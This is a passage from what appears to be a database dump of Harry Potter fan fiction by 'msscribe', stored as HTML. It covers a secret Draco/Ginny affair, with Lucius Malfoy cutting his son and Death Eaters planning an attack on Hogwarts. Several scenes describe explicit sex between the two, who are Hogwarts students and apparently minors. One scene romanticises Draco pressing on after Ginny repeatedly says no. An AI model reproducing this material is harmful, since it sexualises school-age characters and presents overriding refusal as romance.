realizes it isn&#8217;t just the sex.</p>\n<p style="text-align:center" align="center">#</p>\n<p>He masturbates often, thinking of her endlessly and recalling desperate images \n  of her body, her taste, and the fiery color of her hair.&nbsp; Draco has to wait \n  six agonizing days until she visits again.&nbsp;</p>\n<p>As soon as he sees her face, she bursts into tears unexpectedly, and he clumsily \n  attempts to comfort her.&nbsp; </p>\n<p>Her eldest brother Charlie has been killed by Death Eaters.&nbsp; He thinks of the \n  mark on his father&#8217;s arm and shudders.&nbsp; He is terrified that his father is involved \n  somehow.</p>\n<p>She seems to know what he is thinking, and lets her head rest against his chest.&nbsp; \n  She doesn&#8217;t blame him.&nbsp; </p>\n<p>She came into his life like a powerful wave, but he doesn&#8217;t want her to be \n  the wave anymore.&nbsp; He wants her to be his ocean.&nbsp; He wants to be surrounded \n  by her all of the time.&nbsp; </p>\n<p>She calms down some, and kisses him.&nbsp; He feels like he should hold back, but \n  she urges him on.&nbsp; She wants to be comforted like this.&nbsp; </p>\n<p>He makes love to her as gently as he can, kissing her face, tasting her salty \n  tears.&nbsp; He holds her afterwards, abandoning their usual post coital games, and \n  he just listens.&nbsp; She describes her family, and he suppresses the pang of jealousy \n  he feels when she talks about her parents.</p>\n<p>Draco doesn&#8217;t say much about his family life.&nbsp; Living with pain is a boring \n  story.</p>\n<p>She confesses that her body aches for him, that she feels like she can&#8217;t concentrate \n  as much anymore.&nbsp; She hates lying so much, telling her family she&#8217;s going out \n  with a friend or going shopping in Hogsmeade.</p>\n<p>Draco nods.&nbsp; He hasn&#8217;t had to lie to anyone except Pansy Parkinson.&nbsp; She had \n  come to visit him right before the holiday break.&nbsp; They were occasional lovers, \n  for convenience sake.&nbsp; He turned her away, not aroused by her anymore.&nbsp; He told \n  her hadn&#8217;t met anyone else.&nbsp; Pansy was angry, but not heartbroken.&nbsp; She didn&#8217;t \n  love him.</p>\n<p style="text-align:center" align="center">#</p>\n<p>&#8220;Your eyes are so beautiful, they&#8217;re such a lovely shade of silver when you&#8217;re \n  above me, making love to me,&#8221; Ginny says two weeks later.</p>\n<p>&#8220;They&#8217;re nothing special,&#8221; he answers, but he obsesses over this remark.&nbsp; </p>\n<p>She is still under him and he is hesitant to move.&nbsp; She allows him to linger.</p>\n<p>&#8220;I don&#8217;t think we can do this when we go back to school, it&#8217;ll be too hard,&#8221; \n  she says, letting her sense of guilt take over.</p>\n<p>&#8220;Don&#8217;t.&nbsp; Let&#8217;s not talk about this now, lets just let whatever happens... happen.&#8221; \n  He kisses her.&nbsp; </p>\n<p>Draco isn&#8217;t willing to let her go that easily.&nbsp; He needs her against him, around \n  him&#8230; underneath of him.&nbsp; She sighs, relents and kisses him back.</p>\n<p>&#8220;I still can&#8217;t believe this has happened.&nbsp; I can&#8217;t believe I&#8217;m Draco Malfoy&#8217;s \n  lover,&#8221; she whispers.</p>\n<p>He wonders, when they are found out, will he be able to do the decent thing \n  and just fade away&#8230;letting her get on with her life.&nbsp; </p>\n<p style="text-align:center" align="center">#</p>\n<p>The winter has deepened and their break is over.&nbsp; Draco sees Potter and Weasley \n  walking towards him.&nbsp; He panics for a moment, then quickly musters up an appropriate \n  sneer.</p>\n<p>&#8220;Malfoy,&#8221; the red head says.&nbsp; Potter utters the same.</p>\n<p>&#8220;Well, if it isn&#8217;t the dynamic duo&#8230;&#8221; he begins, earning a snicker from Goyle.</p>\n<p>Harry shifts uncomfortably.&nbsp; &#8220;I&#8217;m not going to beat around the bush Malfoy, \n  but rumor has it that you know something about what happened to Hagrid.&#8221;</p>\n<p>&#8220;Not a thing,&#8221; Draco replies truthfully, &#8220;What&#8217;s happened to that overgrown \n  ape anyhow?&#8221;</p>\n<p>Ron tries to grab him, but Harry stops him, for some reason believing Draco.</p>\n<p>&#8220;Hagrid is missing, and I swear if we find out you know something you aren&#8217;t \n  telling, us I&#8217;ll kill you myself.&#8221;</p>\n<p>Draco shakes his head, laughing a little, and walks away.&nbsp; He truly detests \n  these &#8220;holier than thou&#8221; do-gooders.&nbsp; He can&#8217;t bring himself to hurl insults \n  at Ron thou, and Goyle notices.&nbsp; He thinks Harry might have too.</p>\n<p>&#8220;What the hell was that?&nbsp; You didn&#8217;t even hex them!&#8221; Goyle says.</p>\n<p>&#8220;I don&#8217;t have time to deal with Weasel and Potty.&nbsp; I&#8217;ve decided not to waste \n  my breath on them anymore,&#8221; Draco replies, saving face.</p>\n<p>Goyle nods slyly.&nbsp; Draco thinks he couldn&#8217;t have picked more idiotic people \n  to be around.</p>\n<p style="text-align:center" align="center">#</p>\n<p>They find Hagrid&#8217;s body a week later.&nbsp; Ginny tells him it was an accident.&nbsp; \n  Hagrid was killed by one of his own beloved creatures.&nbsp; Draco is just glad he \n  isn&#8217;t another victim of the company his family keeps.&nbsp; Ginny is broken up about \n  it though, and he is glad he&#8217;s there to comfort her again.&nbsp; </p>\n<p>Draco is just grateful that she still comes to him.&nbsp; He has had to make excuses \n  to be alone, to leave Goyle and Crabbe at lunch, to feign sudden illness.&nbsp; She \n  is worth it.</p>\n<p>They have an unspoken agreement now.&nbsp; No false promises, no whispers of marriage \n  and family.&nbsp; No &#8220;I love you&#8221;.&nbsp; </p>\n<p>Draco is aware of what his father would do to him if he found out he is with \n  a Weasley.&nbsp; She is aware of how her family would react as well.&nbsp; </p>\n<p>He reaches for her once more that night&#8230;<i>making love to her with her brilliant \n  blue eyes wide open</i>.</p>\n<p>&nbsp;</p>\n\n\n'),
	(139, 4, '\n<u>After the Dance</u> \n  by msscribe\n<i>Disclaimer: No profits are being made off the fiction on these pages. \n  Harry Potter, associated characters and the associated Harry Potter universe \n  is &#169; J. K. Rowling and respective publishers. Fanfiction is fiction&#8212;it&#8217;s not \n  meant to be taken seriously in the least.</i>\n<p>&nbsp;~</p>\n\n<p style="line-height:150%">Hermione held me the night before, not pushing me \n  for answers as to what had brought me to her room at one a.m. in such a state.&nbsp; \n  She let me sleep over, and told me that no matter what had happened, things \n  would get better.&nbsp;&nbsp; I wanted to tell her so badly what was wrong with me, but \n  she wasn&#8217;t just <i>my </i>best friend.&nbsp; It wouldn&#8217;t be fair to ask her to keep \n  something like that from Ron.&nbsp; </p>\n<p style="line-height:150%">I had finally found the courage to end it with my \n  secret lover that night.&nbsp;&nbsp; I reasoned that it would be easier to forget about \n  him after he graduated in a month.&nbsp;&nbsp; I couldn&#8217;t stand looking into Ron&#8217;s eyes \n  anymore, constantly lying to him.&nbsp; Ron had asked Lavender Brown if she knew \n  if I was seeing someone.&nbsp; He suspected I was keeping secrets.&nbsp; He was starting \n  to look at me differently.</p>\n<p style="line-height:150%">Hermione woke me up with a cup of hot tea and breakfast \n  that she had smuggled from the kitchen.&nbsp; </p>\n<p style="line-height:150%">&#8220;Ginny&#8230;are you sure you don&#8217;t want to tell me what&#8217;s \n  wrong?&#8221;</p>\n<p style="line-height:150%">Hermione&#8217;s eyes were so warm and understanding.&nbsp; </p>\n<p style="line-height:150%">&#8220;I can&#8217;t.&nbsp; But I&#8217;m alright&#8230;I swear.&#8221;</p>\n<p style="line-height:150%">She looked a little relieved.&nbsp; &#8220;Good, you should be \n  pretty up about tonight.&nbsp; Dean is quite the date!&#8221;</p>\n<p style="line-height:150%">I smiled then.&nbsp; Dean really <i>was </i>quite a catch, \n  and I had agreed to go to the Spring Dance with him back in September.&nbsp; I was \n  excited about it, and Dean and I had gone on a couple of trips to Hogsmeade \n  together.&nbsp; We had even shared a few kisses.&nbsp; That was of course before Draco.&nbsp; \n  When Draco and I had &#8220;happened&#8221;, I had unconsciously put a lot of distance between \n  Dean and myself.&nbsp; I was surprised last week when he asked if I was still going \n  with him.&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Dean was the perfect escort.&nbsp; I flirted with him a \n  bit, leaning towards him when he chatted with Justin and Neville.&nbsp; He kissed \n  me, and it was civil, friendly&#8230;even chaste.&nbsp;&nbsp;&nbsp; Harry, Hermione, and Ron were \n  sitting at our table as well.&nbsp; Ron looked over at me protectively, and I thought \n  to myself that if he had known who it was I had been with these last few months \n  he&#8217;d be pushing me into Dean&#8217;s Arms.&nbsp; </p>\n<p style="line-height:150%">Hermione was gorgeous.&nbsp; Both Ron and Harry kept sneaking \n  glances at her.&nbsp; They had joked around that they were attending the dance as \n  a &#8220;triad&#8221;.&nbsp; There was more truth in that than any of them would have been willing \n  to admit.</p>\n<p style="line-height:150%">Draco walked in with Pansy Parkinson.&nbsp; She was beautiful.&nbsp; \n  So was he.&nbsp; I instantly began to analyze her posture and attitude.&nbsp; She had \n  her lanky arm draped through his, and she kept trying to capture his gaze with \n  her wide, brown eyes.&nbsp; </p>\n<p style="line-height:150%">Confronted with this reality, I lost my smile.&nbsp; Draco \n  looked over at me, the pupils of his strange gray eyes quickly darting around, \n  trying not to stare.&nbsp; I felt my nerves giving out, and I squeezed Dean&#8217;s hand.</p>\n<p style="line-height:150%">&#8220;I&#8217;m going out for some air,&#8221; I said.</p>\n<p style="line-height:150%">&#8220;Do you want me to come with you?&#8221; he asked.</p>\n<p style="line-height:150%">&#8220;No&#8230;I&#8217;m fine.&nbsp; I think Parkinson&#8217;s perfume has made \n  me nauseous,&#8221; I replied, hoping it was loud enough for her to hear.&nbsp; </p>\n<p style="line-height:150%">Hermione laughed, and swatted me on my arm.</p>\n<p style="line-height:150%">If Pansy did hear it, she ignored it, and she and \n  Draco moved towards the dance floor together.&nbsp; I couldn&#8217;t stand to watch it, \n  and I was happy to feel the crisp night air hit my face as I stepped outside.</p>\n<p style="line-height:150%">I sat down on a stone bench right outside of the back \n  door. I allowed myself to sit for a while, and let my tears fall freely.&nbsp; I \n  could easily fix my makeup later. </p>\n<p style="line-height:150%">&#8220;Don&#8217;t let these things get you down dear,&#8221; the bench \n  said.&nbsp; </p>\n<p style="line-height:150%">&#8220;Thank you, I&#8217;m doing my best not to.&#8221;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">I returned to Dean as stunning as I was when I had \n  walked downstairs to meet him.&nbsp; A few quick tears were all I needed to gather \n  my strength again.&nbsp; We had a wonderful time, and I managed to block out Draco \n  and Pansy at the other end of the hall.&nbsp;&nbsp; The famous Mistress Lyric was singing \n  the last song of the evening.&nbsp; Dean pulled me to the dance floor.</p>\n<p style="line-height:150%">&#8220;Would you like to have a few butterbeers after the \n  dance?&#8221; Dean asked, his eyes hopeful.</p>\n<p style="line-height:150%">I smiled apologetically.&nbsp; &#8220;I think I&#8217;m too tired, \n  but we should have dinner in Hogsmeade next week.&#8221;</p>\n<p style="line-height:150%">Dean accepted this concession.&nbsp; I felt guilty for \n  leading him on.&nbsp; I wasn&#8217;t ready yet to take another lover.&nbsp; I wasn&#8217;t sure if \n  I&#8217;d ever be ready, but when I saw Draco and Pansy leave together, I leaned in \n  to kiss Dean.&nbsp; His breath was smoky and dark, not bittersweet like Draco.</p>\n<p style="line-height:150%">&#8220;I&#8217;ll walk you back,&#8221; Dean said.</p>\n<p style="line-height:150%">Dean was ever the gentleman. &nbsp;We chatted for a while \n  outside and then he walked me back to the common room.&nbsp; I gave him another kiss \n  right before I began the walk upstairs.&nbsp; </p>\n<p style="line-height:150%">&#8220;Next weekend then?&#8221; he said.</p>\n<p style="line-height:150%">&#8220;Sounds wonderful.&#8221;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">When I reached my room, I found that my roommate had \n  left a note on the door.</p>\n<p style="line-height:150%"><i>Gin - I&#8217;ll be back tomorrow evening, Pig \n  came earlier with Post for you - Susie</i></p>\n<p style="line-height:150%">I opened the door, and Draco was sitting on my bed.&nbsp; \n  He was still in his dress robes.</p>\n<p style="line-height:150%">&#8220;I needed to see you,&#8221; he said, his voice very low, \n  &#8220;I told Susan it was about school&#8230;but I think she knew I was lying.&#8221;</p>\n<p style="line-height:150%">I was furious that he&#8217;d take a risk like sneaking \n  into Gryffindor tower.&nbsp; </p>\n<p style="line-height:150%"><i>What if someone had seen him? How dare he talk \n  to my roommate?&nbsp; She&#8217;d have plenty of questions the next day.&nbsp; </i></p>\n<p style="line-height:150%">&#8220;I want you to leave.&#8221;&nbsp; </p>\n<p style="line-height:150%">I closed the door behind me.&nbsp; The dorm seemed empty.&nbsp; \n  Most people were outside sneaking butterbeer, and besides the occasional laughter \n  rising up from the common room, it was unusually quiet.&nbsp; </p>\n<p style="line-height:150%">He didn&#8217;t move.&nbsp; He wouldn&#8217;t stop staring at me.&nbsp; \n</p>\n<p style="line-height:150%">I was shaking as I walked over towards my dresser.&nbsp; \n  Draco stood up and walked behind me.&nbsp; I turned to tell him off, but somehow \n  I ended up falling against him.&nbsp; And then we were clutching each other, breast-to-breast, \n  mouth-to-mouth.&nbsp; The need I felt the first time he ever touched me, and the \n  intensity with which it rushed all through me was so powerful that I thought \n  I might faint.&nbsp; </p>\n<p style="line-height:150%">Slowly, letting myself rest in his embrace, I came \n  back to myself; back to him.&nbsp; I had never experienced anything like the thin, \n  sweet lips that parted against mine.&nbsp; </p>\n<p style="line-height:150%">His hands, strong and quick, moved over my body as \n  we kissed. Draco became quickly impatient with the barrier of my dress, which \n  was little enough: a tiny purple strapless number that Angelina Johnson had \n  described as <i>deliciously sinful</i>.</p>\n<p style="line-height:150%">One of his hands, which had returned again and again \n  to cup my bound and covered breasts, began swiftly moving around to the back \n  to reach for my zipper.&nbsp; </p>\n<p style="line-height:150%">I wanted very badly to be naked in his very capable \n  hands, but not in Gryffindor tower&nbsp; -<i>this was crazy.</i></p>\n<p style="line-height:150%">&#8220;No,&#8221; I gasped and pulled away.</p>\n<p style="line-height:150%">He reached for me again, and I pushed him off.&nbsp; He \n  looked slightly stricken.</p>\n<p style="line-height:150%">&#8220;I thought we&#8217;d&#8230;don&#8217;t you &#8211;?&#8221;</p>\n<p style="line-height:150%">I shook my head.&nbsp; &#8220;We can&#8217;t keep doing this.&nbsp; We agreed \n  that we couldn&#8217;t keep doing this.&nbsp; This is hard enough for me &#8211;&#8221;</p>\n<p style="line-height:150%">Draco put his hands on my hips and pulled me tightly \n  to him.&nbsp; His erection felt enormous, &#8220;I can&#8217;t seem to let you go.&nbsp; I saw you \n  looking at me tonight.&nbsp; I saw you glaring at Pansy.&nbsp; I also saw you kissing \n  him to get back at me.&nbsp; Your lips belong to <i>me </i>Ginny.&#8221;</p>\n<p style="line-height:150%">His body&#8217;s solid mass was tight against mine.&nbsp; His \n  hands continued to caress my thighs.&nbsp; In a haunted and distant voice, he began \n  to tell me a story in short hot breathes as he let his mouth glide over the \n  nape of my neck:</p>\n<p style="line-height:150%">&#8220;Pansy and I were dancing when she made the offer \n  to go back to her room.&nbsp; I went with her, but when she kissed me&#8230;my mouth went \n  dry.&nbsp; I felt nothing.&nbsp; I tried to imagine she was you.&nbsp; I couldn&#8217;t get the way \n  you looked tonight out of my head, so I told her I was sick and I left.&nbsp;&nbsp;&nbsp; I \n  used to be turned on by her.&nbsp; I fucked her once at a Weird Sister&#8217;s concert, \n  with a crowd of people around us.&nbsp; She hadn&#8217;t worn any underwear with her skirt \n  that night so it was easy, I just got her to stand in front of me.&nbsp;&nbsp; Nobody \n  knew what we were doing&#8230;they were too busy dancing and watching the performance.&#8221;&nbsp; \n  Draco had hiked my dress up at the front and was tugging at the elastic of my \n  panties &#8211; which were now soaking wet.&nbsp; &#8220;My point is that everyone is too caught \n  up in his or her own lives to notice us.&nbsp; We can do this Ginny.&#8221;&nbsp; </p>\n<p style="line-height:150%">&#8220;We can&#8217;t,&#8221; I said.</p>\n<p style="line-height:150%">I had a fleeting thought then, of Ron coming upstairs \n  to make sure I was all right.&nbsp; He was sure to notice I wasn&#8217;t there drinking \n  butterbeer with the rest of them, and I was always one for butterbeer.&nbsp; I said \n  no, and when I pulled away he let me go.</p>\n<p style="line-height:150%">&#8220;What do you think you&#8217;re doing to me?&#8221; I said, trying \n  to pull myself together.</p>\n<p style="line-height:150%">&#8220;Nothing compared to what I want to do.&#8221;</p>\n<p style="line-height:150%">We stared at each other, both of us burning up from \n  frustration.&nbsp; He pushed me up against the door and we kissed again.&nbsp; </p>\n<p style="line-height:150%">&#8220;No&#8230;&#8221; I whispered so softly that I wasn&#8217;t even sure \n  if he&#8217;d heard it.&nbsp; His hands were urgent now.&nbsp; My dress was now unzipped, my \n  bra undone, my nipples teased until they were aching to be touched again.&nbsp; I \n  surrendered, momentarily undone.&nbsp; </p>\n<p style="line-height:150%">Then I imagined the look on my parents face if I told \n  them about Draco Malfoy.&nbsp; <i>Ron&#8217;s disappointed face&#8230;</i>&nbsp; I woke with a sickening \n  shock.&nbsp; I&#8217;d always been such a good girl.&nbsp; Wonderful marks, nice friends, courteous \n  boyfriends.&nbsp; I had only one lover before Draco, and we had been an item for \n  a long time.&nbsp; I was supposed to fall in love with a wizard from a nice family, \n  someone I could bring to the Burrow for Christmas, someone who wouldn&#8217;t grow \n  up to become a Death Eater.</p>\n<p style="line-height:150%">I tensed then, and fought off his hands.&nbsp; He let me \n  go again and stood now, his arms to his side.&nbsp; I pulled my dress up to cover \n  myself.&nbsp; I was dizzy with desire and his eyes were still unwavering on mine.&nbsp; \n</p>\n<p style="line-height:150%">&#8220;I&#8217;m not going to rape you Ginny,&#8221; Draco said.</p>\n<p style="line-height:150%">He had read me like an open book.&nbsp; He wasn&#8217;t going \n  to make me do what it was we both wanted to do.&nbsp; He wasn&#8217;t going to let me escape \n  the guilt that came every time I was with him voluntarily. He wanted me to make \n  a choice.&nbsp; </p>\n<p style="line-height:150%">His gaze fixated me.&nbsp; He eased me up against the door \n  again and I stood very still, quivering.&nbsp; &#8220;Do you really think we can be together?&#8221; \n  I said, sounding almost hopeful.</p>\n<p style="line-height:150%">&#8220;I think it has to be easier than <i>not</i> being \n  together,&#8221; he replied, his hands under my skirt again.&nbsp; He pulled at my panties \n  and peeled them down my legs.&nbsp; I stepped out of them when they reached my ankles.</p>\n<p style="line-height:150%">His touch was as soft and smooth as his voice as he \n  found my wetness.&nbsp; I watched him watching me as he stroked my clitoris.&nbsp; The \n  door was hard against my back and my thighs began to ache as I rode his hand, \n  his familiar hand that knew me better then I knew myself.&nbsp; He watched me the \n  whole time, my face twisting as he muttered compliments about my freckles and \n  my breasts.&nbsp; </p>\n<p style="line-height:150%">Sharp, painful, and intense, the orgasm flashed as \n  I cried, and yelled, and mussed his silver-blonde hair.&nbsp; His hands were all \n  over now, rougher than the last time we were together.&nbsp; Greedier.&nbsp; He pulled \n  me hard against him and his dress robes fell to the floor around our feet.&nbsp; \n</p>\n<p style="line-height:150%">We held our breath, as we heard footsteps walk up \n  to the door we were leaning against.</p>\n<p style="line-height:150%">&#8220;Ginny?&nbsp; Is everything all right? I thought I heard \n  you yelling.&#8221;&nbsp; Hermione&#8217;s voice said.</p>\n<p style="line-height:150%">She sounded so concerned.&nbsp; </p>\n<p style="line-height:150%">&#8220;I&#8217;m fine&#8230;I&#8217;m just not feeling all that great,&#8221; I \n  said, hoping my voice sounded convincing enough.</p>\n<p style="line-height:150%">&#8220;Do you want me to come in?&#8221; she said.</p>\n<p style="line-height:150%">I tensed up.&nbsp; &#8220;No&#8230;No&#8230;I promise I&#8217;ll come by in the \n  morning.&#8221;</p>\n<p style="line-height:150%">There was a minute or two of dreaded silence.&nbsp; Draco \n  began to caress me again, his mouth moving to my nipples.</p>\n<p style="line-height:150%">&#8220;I&#8217;ll see you in the morning then,&#8221; Hermione said \n  finally.&nbsp; We listened as her footsteps rounded the corner to her room.&nbsp; He turned \n  me around and led me towards my bed.&nbsp; He pushed my back against the comforter.&nbsp;&nbsp; \n  <i>White daisy&#8217;s that my mother had picked out my first year at Hogwarts.</i>&nbsp; \n  Before I could even catch my breath he was parting my legs that were dangling \n  over the edge.&nbsp; I lay still and let him position me as his stripped out of his \n  underwear.&nbsp; </p>\n<p style="line-height:150%">I was wet and willing, but I wasn&#8217;t expecting such \n  force as he buried himself into me.&nbsp; </p>\n<p style="line-height:150%">&#8220;Ginny&#8230;&#8221; he said, repeating the word over and over \n  again.&nbsp; </p>\n<p style="line-height:150%">I lost all sense of time as we made love, making up \n  for the space between us at the dance that night.&nbsp; Sometimes my name came from \n  him in a gasp, sometimes in a guttural moan as he drove us both over the brink.&nbsp; \n</p>\n<p style="line-height:150%">It was the first and only time we ever made love in \n  my room.&nbsp; Draco managed to sneak out before daylight came, and I lay in bed \n  waiting for the sun to come up alone.&nbsp; </p>\n<p style="line-height:150%">I saw Ron later on that afternoon, and when he asked \n  how I was feeling, I gave an honest answer.</p>\n<p style="line-height:150%">&#8220;The dance just lasted longer than I thought it would&#8230;that&#8217;s \n  all.&#8221;</p>\n<p style="line-height:150%"><i>It\'s still going on.</i></p>\n\n\n'),
	(139, 5, '\n<u>Reluctant Savior</u> by msscribe\n<i>&#8220;Just because you can make me come, that doesn&#8217;t make you \n  Jesus.&#8221; Tori Amos</i><u></u>\n<i></i>\n<i> &nbsp;</i>~\n<p style="line-height:150%">&#8220;Do you enjoy humiliating me?&#8221;</p>\n<p style="line-height:150%">I thought at first that it was another one of my nightmares, \n  this particular one taking the usual tone of my father&#8217;s voice.&nbsp; Then the pain \n  bit into me and I came awake with a muffled gasp.&nbsp; Lucius was standing by my \n  bed with his trusty silver knife in his left hand.&nbsp; The cool blade gleamed with \n  blood.&nbsp; He had cut a mark in my arm, and the blood was bubbling up like red \n  sweat.</p>\n<p style="line-height:150%">I tried to speak.&nbsp; The gag he had placed on me reduced \n  my words to muffled groans.&nbsp; </p>\n<p style="line-height:150%">&#8220;I should slash your throat right now, and save myself \n  the embarrassment you&#8217;re bound to cause me later on,&#8221; Lucius said caressing \n  the blade across my throat.&nbsp; The pressure against the blade was barely enough \n  to dent my skin, but it was painful nonetheless.</p>\n<p style="line-height:150%">And in an instant, my gag was gone and the curse that \n  bound me to the bed was lifted.&nbsp; </p>\n<p style="line-height:150%">My father laughed.&nbsp; </p>\n<p style="line-height:150%">&#8220;Let that scar be a reminder that we keep our appointments.&#8221;</p>\n<p style="line-height:150%">He left, and my mind searched for a reason.&nbsp; Why did \n  he feel it necessary to come all the way to Hogwarts just to torture me?&nbsp; What \n  had I done?&nbsp; Where hadn&#8217;t I gone? I kept coming up blank.</p>\n<p style="line-height:150%">I stood and watched the blood run down my arm for \n  a few seconds.&nbsp; <i>Goyle.</i>&nbsp; I was supposed to meet Goyle in Diagon Alley \n  and it had completely slipped my mind.&nbsp; That son of a bitch must have told his \n  father.&nbsp;&nbsp; </p>\n<p style="line-height:150%">I walked down the hall and into the bathroom.&nbsp; The \n  mirror reflected walking death and was about to say something insulting no doubt \n  before I threatened to hex it to a million pieces.&nbsp; I turned the brass knob \n  and let the cool water run over my arm.&nbsp; The cold felt better than I thought \n  it would and I wanted to fall into it, and let it freeze the rest of me.&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">When I walked into the Great Hall that morning, squeezed \n  between my two nincompoops, I couldn&#8217;t stop myself from looking for her.&nbsp; </p>\n<p style="line-height:150%">Finding her wasn&#8217;t a difficult task.&nbsp; Ginny stood \n  out like a beacon.&nbsp; The knot in my throat was beginning to hurt.&nbsp; A million \n  times I before I had tried to analyze what it was that Ginny and I had.&nbsp; Maybe \n  it was desperation, and we were just uncomprehending witnesses to the mad urges \n  of our bodies.&nbsp; Maybe it was <i>more</i>.&nbsp; It was the more part that tore me \n  up the most.</p>\n<p style="line-height:150%">Even I, Draco Malfoy, couldn&#8217;t pretend that I was \n  just fucking her, but I couldn&#8217;t very well admit to anything else either.&nbsp; </p>\n<p style="line-height:150%">Dean Thomas walked over to her then and draped his \n  arm around her shoulder.&nbsp;&nbsp; I admit that I felt a pang of jealousy when he did \n  this, but I turned away trying to force myself not to let my eyes wander towards \n  her anymore.</p>\n<p style="line-height:150%">&#8220;What\'s the matter with you lately?&#8221; Crabbe said.</p>\n<p style="line-height:150%">&#8220;Nothing, why?&#8221; I answered as we sat down at table.&nbsp; \n</p>\n<p style="line-height:150%">Pansy Parkinson walked in, flipping her hair at me.&nbsp; \n  Then she sat down next to me and put her hand on my thigh.&nbsp; I let it stay.</p>\n<p style="line-height:150%">&#8220;Terence Higgs fucked me so hard last night I thought \n  he ripped me in two,&#8221; she whispered.</p>\n<p style="line-height:150%"><i>We bantered like this sometimes.</i></p>\n<p style="line-height:150%">&#8220;I didn&#8217;t know you liked it like that.&#8221; I replied \n  indifferently.</p>\n<p style="line-height:150%">She let her hand travel up a little farther.&nbsp; </p>\n<p style="line-height:150%">&#8220;It turned me on so much that I almost wet myself.&#8221;</p>\n<p style="line-height:150%">I gave her a teasing glance. She let her tongue lick \n  her top lip seductively.&nbsp; Pansy Parkinson was a crotch-grabbing, mattress-humping \n  witch whose breathy squeals used to blast through my ceiling whenever I felt \n  the urge.&nbsp; I suppose she had noticed that I hadn&#8217;t felt the urge in a very long \n  time and decided to remind me of what I had been missing.</p>\n<p style="line-height:150%">&#8220;I didn&#8217;t know you could be such a slut,&#8221; I answered, \n  looking away from her.&nbsp; She noticed when I broke our stare.</p>\n<p style="line-height:150%">&#8220;What a short term memory you have Draco,&#8221; she answered, \n  laughing and standing to get up.&nbsp; </p>\n<p style="line-height:150%">She could sense I wasn&#8217;t into playing anymore, but \n  I was grateful for the momentary distraction.&nbsp; At least Crabbe and Goyle were \n  now too busy stuffing their faces to question the change in my usual demeanor.&nbsp; \n</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Ginny began to talk to me in that sweet voice that \n  made my hair stand on end.&nbsp; We were talking about the night, the full moon, \n  and her impending potions final.</p>\n<p style="line-height:150%">&#8220;You are going to help me aren&#8217;t you?&#8221; she asked.</p>\n<p style="line-height:150%">It was true, potions was my specialty.&nbsp; I had even \n  edged out Granger for the highest grade last year.&nbsp; I would most likely do the \n  same for our final year.&nbsp; </p>\n<p style="line-height:150%">I rolled over onto my stomach and let her scratch \n  my back softly with her neatly filed nails.</p>\n<p style="line-height:150%">&#8220;Yes, I believe I can make time for that.&#8221;</p>\n<p style="line-height:150%">She laughed at me, a small giggle ending in a tiny \n  choking noise that I had grown quite fond of.</p>\n<p style="line-height:150%">&#8220;You sound so formal.&nbsp; Even while we lie here after \n  fucking half the night away, you talk to me like we&#8217;re sitting in class.&#8221;</p>\n<p style="line-height:150%">I smiled at her, now rolling back onto my side so \n  I could slip my hand between her thighs and stroke her.&nbsp; With my lovers past, \n  I used to spend this time sleeping deeply only moments after my orgasm.&nbsp; Somehow, \n  I always remained awake with Ginny, holding her and touching her.&nbsp;&nbsp; </p>\n<p style="line-height:150%">We would alternate talk with lazy sensuality, lingering \n  somewhere on a slow plateau of arousal that didn&#8217;t necessarily demand release.&nbsp; \n  We had been doing this for almost five months now and it seemed that we still \n  hadn&#8217;t grown bored with these bouts of touching and kissing that led to sex \n  so languid that our lovemaking was almost tantric in it&#8217;s restraint.&nbsp; </p>\n<p style="line-height:150%">Ginny&#8217;s lips glistened.&nbsp; Her eyes were still fixed \n  on mine.&nbsp; I let my finger glide around her clit in small quick circles and listened \n  as her breathing changed to sweet little pants.&nbsp;&nbsp; She tried to reach for me, \n  but I pushed her hand from my thigh.&nbsp; I wanted to watch her come without the \n  distraction of being touched.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Goyle had a newspaper in one hand, and his suitcase \n  in the other.&nbsp; </p>\n<p style="line-height:150%">&#8220;Your not packed yet?&#8221; he said.</p>\n<p style="line-height:150%">&#8220;For what?&#8221; I asked, still not dressed, &#8220;It&#8217;s Wednesday \n  morning for God&#8217;s sake.&#8221;</p>\n<p style="line-height:150%">Goyle walked in and flicked open the paper.&nbsp; A moving \n  picture had some wizards and witches running from an exploding building.&nbsp; </p>\n<p style="line-height:150%">&#8220;My dad told me to get ready to take a long weekend.&nbsp; \n  He told me there would be some <i>heavy activity </i>here at Hogwarts this afternoon&#8230;&#8221; \n  he said smiling smugly, &#8220;He also said you&#8217;d be coming with us.&#8221;</p>\n<p style="line-height:150%">I looked at the photo again.&nbsp; It was an attack in \n  Diagon Alley, the same day I had forgotten to meet up with Goyle. Now they were \n  coming here. </p>\n<p style="line-height:150%">&#8220;Not that we couldn&#8217;t have used your help in Diagon \n  Alley, but I think it went over pretty well&#8230;don&#8217;t you?&nbsp; Dad says he&#8217;s got a \n  nice reward in mind for me.&#8221;</p>\n<p style="line-height:150%">Goyle ran his hand through his greasy hair.&nbsp; I gritted \n  my teeth at his remark.</p>\n<p style="line-height:150%">&#8220;Why the fuck didn&#8217;t you tell me this before?&#8221;</p>\n<p style="line-height:150%">He looked at me strangely then. </p>\n<p style="line-height:150%">&#8220;I would have, but it seems you&#8217;re letting your personal \n  business get in the way of your responsibilities.&nbsp; Pansy says you&#8217;ve even shut \n  her out&#8230;&nbsp; Dad says-&#8221;</p>\n<p style="line-height:150%">I wrapped my hands around his thick throat and slammed \n  his body against the wall.&nbsp; He was a weakling.&nbsp; He was larger in mass, but I \n  knew he wouldn&#8217;t fight back.</p>\n<p style="line-height:150%">&#8220;Watch what you say!&#8221; I spat at him; &#8220;If I ever hear \n  of you talking about my personal business with anyone again I swear I&#8217;ll torment \n  you until death!&#8221;</p>\n<p style="line-height:150%">Goyle looked resentful, but nodded.&nbsp; I let him go.&nbsp; \n  &#8220;I&#8217;m not leaving with you&#8230;personally, I prefer to stay here and watch which \n  way the blood splatters.&#8221;</p>\n<p style="line-height:150%">I forced myself to say the last, knowing that not \n  leaving with him would arouse some suspicion.&nbsp; I also knew my father would understand \n  if he thought I was experiencing morbid curiosity.&nbsp; Hell, he&#8217;d probably even \n  be proud of me.</p>\n<p style="line-height:150%">&#8220;Glad to see you haven&#8217;t changed&#8230;much. I wonder how \n  many mudbloods and Gryffindors we\'ll take down today. I say it\'s time we cleaned 